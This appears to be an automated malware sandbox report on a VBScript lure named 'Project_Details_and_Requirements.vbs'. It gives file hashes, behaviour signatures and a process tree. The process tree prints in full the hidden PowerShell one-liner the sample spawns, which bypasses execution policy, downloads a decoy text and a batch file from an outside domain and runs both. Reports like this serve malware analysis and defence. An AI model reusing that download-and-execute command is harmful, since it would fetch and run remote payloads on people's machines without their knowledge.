Analysis
- max time kernel
39s - max time network
24s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/10/2026, 22:41
Static task
static1
Behavioral task
behavioral1
Sample
Project_Details_and_Requirements.vbs
Resource
win10v2004-20260911-en
10 signatures
40 seconds
Behavioral task
behavioral2
Sample
Project_Details_and_Requirements.vbs
Resource
win11ltsc2024-20260911-en
9 signatures
40 seconds
General
- Target Project_Details_and_Requirements.vbs
- Size 649B
- Sample261022-2mda9avtdv
- SHA256 60fed83e2bd582fd8f146d14f4053a97fba099349c6c4e3df8e20da74ade82d8
- MD5 2c48230d31e48d6cf7df9d8bdeef8709
- SHA1 9762f07f34ef937549f01a9c7c195e480e7d7d82
- SHA512 8daf1b6211c55b605fd4f03cb1d0df6997e02742b2f75d31181e3a0de5c53b540b5628ccdfbf98e70bb490ef1959b81ef8ba84057ddb390d54bc3f0277379640
- TLSH T1C0F0FE13B21AB1A9A3E58E6944D38968C77B610F041812513C9DD20AEF232658B02218
- MD5 SHA1 SHA512 TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 5612 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 5612 powershell.exe 5612 powershell.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 6124 WScript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2224 cmd.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\Local Settings powershell.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 5612 powershell.exe 5612 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 5612 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 6124 wrote to memory of 5612 6124 WScript.exe 89 PID 5612 wrote to memory of 2432 5612 powershell.exe 91 PID 5612 wrote to memory of 2224 5612 powershell.exe 92
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Project_Details_and_Requirements.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:6124 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue';$t=$env:TEMP;$a=@(@{u='https://kohlerronan.com/sh.txt';p=Join-Path $t 'Project Details and Requirements.txt'},@{u='https://kohlerronan.com/rp99.bat';p=Join-Path $t 'rp99.bat'});foreach($f in $a){try{Invoke-WebRequest -Uri $f.u -OutFile $f.p -TimeoutSec 30 -ErrorAction Stop}catch{}};foreach($f in $a){if(Test-Path -LiteralPath $f.p){Start-Process -FilePath $f.p}}"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5612 -
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Project Details and Requirements.txt3⤵PID:2432
-
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rp99.bat" "3⤵
- Executes a command shell one-liner
PID:2224
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Project Details and Requirements.txt
- Size 11KB
- SHA256 6552326a992c70a9e6f24487386c7d556f63e8baeac2468ae31282130b21baea
- MD5 5e4c2e16fe679e42540d5ea047d00e40
- SHA1 d896ba64930389f012a50e6e09896d705c69580a
- SHA512 8570e2c14eb3919eddfdd3dcf7159204d1308793905893c206df42f29291ebb7da0a56d647904f4f99451e7e0d11026445c56a8e0b6fa0feba25dabe7ca9ca66
- SSDEEP 192:sXHNsGeTHQpD+da6+888+UV7tDoj/pxzjbqFtCCSvRUM:sXX+/DV7k/3iFtQRUM
- TLSH T17E42195CAED161B0EA0707DEB7AF25690228A0C7240DC484F94CDEE87F46BDC4A57B57
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\rp99.bat
- Size 11KB
- SHA256 423c302d9ed13227d242cd9661425247f392525cf75009e815c5f4e03ebb92d0
- MD5 0eab880c486a88dee51a80ef32b0cad3
- SHA1 9c4acc4f917e2075432c2e782c63c94cc88b554d
- SHA512 3b6302d4819659d0f4a79de579ca72f7787ebafe262aa0876d699fe349c3828b1a5be011d241ed23b1a13d1f2d5cadcb299bb98251f0bd1f191061fd2f0643a2
- SSDEEP 192:sXHNsGeTHQpD+da6+888+UV7tDoj/pxzjbqFtCeSHRUM:sXX+/DV7k/3iFtMRUM
- TLSH T18032195CAED161B0EA0717DEB3AF25690228A0C7240DC484F94CDEE87F4ABDC4A57B57
- MD5 SHA1 SHA512 SSDEEP TLSH